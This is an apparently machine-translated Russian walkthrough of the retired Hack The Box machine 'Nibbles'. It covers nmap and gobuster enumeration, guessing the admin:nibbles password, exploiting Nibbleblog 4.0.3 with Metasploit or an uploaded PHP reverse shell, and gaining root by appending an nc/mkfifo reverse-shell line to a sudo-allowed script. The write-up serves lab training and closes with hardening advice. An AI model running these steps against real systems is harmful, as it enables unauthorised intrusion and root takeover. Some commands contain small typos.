Keep Calm and Hack The Box – Nibbles

1656044930 keep calm and hack the box – nibbles

Hack The Box (HTB) – это онлайн-платформа, которая позволяет вам проверить свои навыки тестирования на проникновение.

Он содержит несколько постоянно обновляемых задач. Некоторые из них моделируют реальные сценарии, а некоторые больше склоняются к стилю CTF.

Примечание: Разрешается записывать только выписанные машины HTB.

Скриншот-2021-05-24-на-00.44.51

Nibbles – это простая машина, которая сосредоточена на угадывании паролей и перечислении веб-приложений.

В этом уроке мы будем использовать такие инструменты, чтобы заложить ящик:

  • nmap
  • gobuster
  • metasploit
  • Обратная оболочка PHP
  • netcat

Давайте начнем!

Шаг 1 – Сделайте кое-что Разведка

Первым шагом перед использованием машины является небольшое сканирование и разведка.

Это одна из важнейших частей, поскольку она определит, что вы можете попытаться использовать его потом. Всегда лучше уделять этому этапу больше времени, чтобы получить как можно больше информации.

Сканирование портов с Nmap

буду использовать Nmap (Маппер сети). Nmap — бесплатное приложение с открытым кодом для обнаружения сети и аудита безопасности.

Он использует необработанные IP-пакеты, чтобы определить, какие хосты доступны в сети, какие услуги эти хосты предлагают, какие операционные системы работают, какие типы фильтров пакетов/брандмауэров используются, а также десятки других характеристик.

Существует множество команд, которые можно использовать с этим инструментом для сканирования сети. Если вы хотите узнать больше об этом, вы можете просмотреть документацию здесь.

Скриншот-2021-05-23-на-22.59.16

Я использую такую ​​команду, чтобы выполнить интенсивное сканирование:

nmap -A -v 10.129.151.27
Скриншот-2021-05-23-на-22.57.48

-А: Включает обнаружение ОС, определение версии, сканирование сценариев и трассировку

-v: Повышает уровень многословия

10.129.151.27: IP для коробки Nibbles

Если вы считаете результаты слишком потрясающими, вы можете попробовать:

nmap 10.129.151.27
Скриншот-2021-05-23-на-22.56.30

Мы видим, что есть 2 открытых порта:

порт 22. Защищенная оболочка (SSH), безопасные логины, передача файлов (scp, sftp) и переадресация портов

порт 80. Протокол передачи гипертекста (HTTP). Вот это сервер Apache (httpd 2.4.18).

Шаг 2 Посетите Вeb Пвозраст

С фазы разведки я решаю начать с порта 80. И я получаю страницу с простым сообщением Hello World в верхней части.

Скриншот-2021-05-23-23.00.57

Я смотрю на исходный код и вижу, что там есть прокомментированная строка:

<!-- /nibbleblog/ directory. Nothing interesting here! -->
Скриншот-2021-05-23-23.02.03

Я перехожу в эту папку и попадаю на то, что выглядит как страница блога под названием «Nibbles Yum Yum».

Скриншот-2021-05-23-23.04.59

Я вижу, что блог работает на основе Nibbleblog. Я смотрю, что это.

Nibbleblog описывается как простая, быстрая и бесплатная система блогов PHP. Вы можете найти больше информации здесь.

Скриншот-2021-05-23-23.04.38

Имея эту новую информацию, я решаю бежать Gobuster. Gobuster – это сканер каталогов, написанный на Go. Вы можете найти больше информации об инструменте здесь.

Gobuster использует списки слов на коробке HTB Parrot, которые расположены в /usr/share/wfuzz/список слов/ каталог. Я использую «common.txt» список слов, но вы можете скачать больше списков слов из SecLists здесь.

Скриншот-2021-05-23-23.06.56

Я использую эту команду для списка слов dirb common.txt:

gobuster dir -u 10.129.151.27 -w /usr/share/wfuzz/wordlist/general/common.txt -x php,txt

Я также сосредотачиваюсь на файлах .php и .txt с файлами -x флажок (расширение).

Есть несколько отличных находок, в том числе /админ/ папку. Я начну с проверки /content/ папку.

Скриншот-2021-05-23-23.11.24

Затем /install.php файл. Я нажимаю на обновление:

Скриншот-2021-05-23-23.10.15

Я приземляюсь на /update.php страницу, которую я обнаружил на Gobuster. Есть пара ссылок:

Скриншот-2021-05-23-23.09.54

Я перехожу к первому, /config.xml страница:

10.129.151.27/nibbleblog/content/private/config.xml
Скриншот-2021-05-23-на-23.19.02

Я сканирую файл xml и записываю электронную почту, которую я там нахожу:

admin@nibbles.com

которые могут быть ценной информацией для пользователя.

Я продолжаю просматривать другие страницы, найденные с помощью Gobuster. Я перехожу к /admin/ папка:

Скриншот-2021-05-23-23.12.23

И к /admin.php страница. Наконец-то я нашел страницу входа!

Скриншот-2021-05-23-23.11.55

Я пытаюсь ввести фиктивные аккаунты, чтобы увидеть поведение страницы. Параметры формы:

username=test&password=test
Скриншот-2021-05-23-на-23.22.21

Я перешел к последней странице, которую я нашел на Gobuster, the /users.xml страница. Я вижу, что есть имя пользователя, админно также, что, похоже, существует механизм черного списка. Я предполагаю, что да с тегами и моим IP-адресом HTB было добавлено в конце. Количество неудач 1 являлся моим предварительным тестом с манекенными учетными данными.

Похоже, мы не сможем перебрать страницу входа. Нам нужно будет угадать комбинацию имени пользователя: пароль.

Скриншот-2021-05-23-на-23.22.44

Шаг 3а Эксплуатировать блог Nibble Вуязвимость из Metasploit

С этапа разведки на ст. /update.phpбыла некоторая информация о версии Nibbleblog.

Nibbleblog 4.0.3 "Coffee"

Я ищу эту версию, чтобы проверить, есть ли известная уязвимость в этой конкретной версии. Я нахожу один на Эксплойт базы данных.

Скриншот-2021-05-23-at-23.25.55
https://www.exploit-db.com/exploits/38489

Кажется, для этой уязвимости есть доступный эксплойт Metasploit.

Тогда я использую Metasploit, являющийся фреймворком для тестирования на проникновение, что делает злом простым. Это важный инструмент для многих нападающих и защитников.

Скриншот-2019-08-02-21.14.13

Я запускаю Metasploit Framework и найдите команду, которую я должен использовать для эксплойта.

Не забудьте обновить Metasploit, когда вы запускаете его с помощью этой команды:

msfupdate

Я ищу эксплойт с помощью этой команды:

search nibbleblog
Скриншот-2021-05-23-at-23.27.59

Это тот самый, что я нашел в базе данных Exploit. Я получаю больше информации с помощью:

info 0
Скриншот-2021-05-23-на-23.29.19

Это также дает мне представление о параметрах, необходимых для эксплойта. Мы можем увидеть все необходимые, включая действительную комбинацию имя пользователя:

Скриншот-2021-05-23-на-23.29.47

Информационный раздел содержит несколько ссылок, чтобы узнать больше об уязвимости. Первая ссылка перенаправляется на Национальная база данных уязвимостей.

Скриншот-2021-05-23-на-23.30.40
https://nvd.nist.gov/vuln/detail/CVE-2015-6967

Вторая ссылка – это блог исследования безопасности, посвященный использованию уязвимости вручную. Я буду использовать этот метод на следующем шаге.

Скриншот-2021-05-23-на-23.31.41
https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html

Теперь, когда у нас есть немного больше контекста, давайте используем эксплойт из:

use 0

Теперь вы должны увидеть терминал msf6, установленный на:

exploit(multi/http/nibbleblog_file_upload)
Скриншот-2021-05-23-на-23.34.13

Теперь я установлю разные параметры с помощью этих команд:

set USERNAME admin
set PASSWORD nibbles

Я устанавливаю комбинацию имени пользователя: пароль на admin: nibbles. Я нашел имя пользователя admin на /users.xml страницу, и я попробовал счастье для пароля с помощью электронной почты, которую я нашел на /config.xml страница (admin@nibbles.com)

set RHOSTS 10.129.151.27
set LHOST 10.10.14.110

Я установил целевой URI для страницы блога:

set TARGETURI /nibbleblog/

Я запускаю проверить команда – как я увидел, она была доступна, когда я проверил информацию об эксплойте. Кажется, цель уязвима. Это также подтверждает, что параметры были установлены правильно.

Скриншот-2021-05-23-на-23.44.34

Я проверяю параметры перед запуском эксплойта:

Скриншот-2021-05-23-на-23.45.02

Я запускаю эксплойт с помощью:

run

и получить a Измеритель сессия назад.

Вот определение Meterpreter от Offensive Security:

Meterpreter — это усовершенствованная, динамично расширяемая полезная нагрузка, которая использует в памяти DLL-инъекция является этапами и расширяется по сети при выполнении. Он связывается через разъемный сокет и предоставляет всеохватывающий API Ruby на стороне клиента. Он содержит историю команд, завершение вкладок, каналы и т.д.

Вы можете прочитать больше о Meterpreter здесь.

Скриншот-2021-05-23-на-23.46.11

Шаг Эксплуатировать блог Nibble Вуязвимость споза Metasploit

Вернуться к /admin.php страница. Я должен угадать пароль. Просматривая свои заметки, я нашел имя пользователя admin на /users.xml страницу, и я попробовал счастье для пароля с помощью электронной почты, которую я нашел на /config.xml страница (admin@nibbles.com).

Я установил комбинацию имени пользователя: пароль на admin: nibbles.

Скриншот-2021-05-24-на-00.14.19

И это работает!

Я вижу панель инструментов NibbleBlog. Мы видим на панели сообщений с правой стороны, что моя неудачная попытка входа был восхищен.

Скриншот-2021-05-24-на-00.14.40

Я перехожу к плагины вкладка и в Мой образ:

Скриншот-2021-05-24-на-00.15.43

Мы можем скачать a Обратная оболочка PHP как файл изображения:

Скриншот-2021-05-24-at-00.15.59

Pentestmonkey имеет список обратных оболочек, и я буду использовать PHP. Код доступен в хранилище GitHub.

Скриншот-2021-05-24-at-00.26.33

Нажмите на php-reverse-shell.php файл:

Скриншот-2021-05-24-at-00.26.50

Вот фрагмент кода, который нам нужно будет скачать на информационную панель Nibbleblog:

Скриншот-2021-05-24-at-00.27.11

Мне нужно изменить этот раздел с помощью моего IP-адреса HTB.

Скриншот-2021-05-24-на-00.28.31

Вернувшись в свой терминал, я создаю новый файл под названием image.php из:

nano image.php
Скриншот-2021-05-24-at-00.29.02

Я изменяю файл для переменной $IP с моим IP-адресом HTB:

$IP = '10.10.14.110';

Я оставляю порт к 1234:

Скриншот-2021-05-24-at-00.29.36

Обратно к панели инструментов Nibbleblog. Загружаю вновь image.php файл с обратным кодом оболочки. Игнорируйте предупреждение.

Скриншот-24-05-2021-24.08

Я установил a Ncat слушатель на порту 1234 чтобы поймать обратное соединение оболочки.

Ncat – это многофункциональная сетевая утилита, которая считывает и записывает данные между сетями из командной строки. Ncat был написан для проекта Nmap как значительно улучшенная перереализация почтенного Netcat. Он использует как TCP, так и UDP для связи и разработан как надежный серверный инструмент для мгновенного обеспечения сетевого подключения к другим приложениям и пользователям.

Вы можете узнать больше о Ncat здесь.

nc -nlvp 1234

И я перехожу на страницу, чтобы запустить эксплойт:

10.129.151.27/nibbleblog/content/private/plugins/my_images/image.php

Тогда я верну сеанс!

Скриншот-2021-05-24-at-00.25.29

Шаг 4. Найдите флаг user.txt

Я проверяю, где я нахожусь на машине:

Скриншот-2021-05-23-на-23.48.31

И начните навигацию к домой папку.

Скриншот-2021-05-23-на-23.49.39

И я нахожу пользовательский флаг! Я могу проверить содержимое файла с помощью:

cat user.txt

Шаг 5 — Посмотрите для root.txt Фотставание

Я возвращаюсь к / папку. Я не могу получить доступ к корень папку.

Скриншот-2021-05-23-на-23.50.25

Я ввожу такую ​​команду, чтобы получить стандартную оболочку в целевой системе:

shell

Я создаю оболочку TTY из:

python3 -c "import pty; pty.spawn('/bin/bash/');"

Я должен использовать python3:

Скриншот-2021-05-23-на-23.52.44

Мне нужно перейти на пользователя root, чтобы получить доступ к этой папке. Я использую команду:

sudo -l

чтобы понять, какую команду я могу запустить на локальном хосте.

Скриншот-2021-05-23-на-23.53.29

Я считаю, что пользователь Ниблер может выполнить /home/nibbler/personal/stuff/monitor.sh команду как «root» без пароля.

Давайте найдем этот файл! Я возвращаюсь к /home/nibbler/ и найдите zip-файл под названием personal.zip. Я распаковываю содержимое с помощью этой команды:

unzip personal.zip

я вижу /personal/stuff/monitor.sh файл, который мы ищем:

Скриншот-2021-05-23-на-23.55.37

Я проверяю содержимое файла с помощью:

cat monitor.sh
Скриншот-2021-05-23-на-23.56.32

Я решаю добавить обратную оболочку в конец этого файла с помощью:

echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14,110 1234 > /tmp/f" >> monitor.sh
Скриншот-2021-05-24-на-00.10.19

Я просматриваю файл, чтобы проверить, правильно ли он добавлен в конец файла:

Скриншот-2021-05-24-на-00.10.41

Я установил a Ncat слушатель на порту 1234 чтобы поймать обратное соединение оболочки на моем терминале:

Скриншот-2021-05-24-на-00.11.08

Затем я запускаю команду на терминале Nibbler с помощью:

sudo /home/nibbler/personal/stuff/monitor.sh
Скриншот-2021-05-24-на-00.09.51

Теперь я root! Я могу перейти к корень папку. Я нахожу файл root.txt и проверяю его содержимое с помощью:

cat root.txt
Скриншот-2021-05-24-на-00.12.55

Поздравляю! Вы нашли оба флага.

  • Используйте сложные пароли и не используйте стандартные/общие пароли – admin:nibbles слишком прост
  • Исправление до последней версии – в этом случае исправление до последней доступной версии Nibbeblog
  • Применяйте принцип наименьших привилегий ко всем вашим системам и службам

Пожалуйста, не стесняйтесь задавать вопросы или поделитесь с друзьями 🙂

Вы можете просмотреть больше статей из серии Сохраняйте спокойствие и сломайте коробку здесь.

Вы можете подписаться на меня в Twitter или LinkedIn.

И не забудьте #GetSecure#BeSecure & #Оставайтесь в безопасности!

synthwave-cityscape-4k-6x-1920x1080

Добавить комментарий

Ваш адрес email не будет опубликован.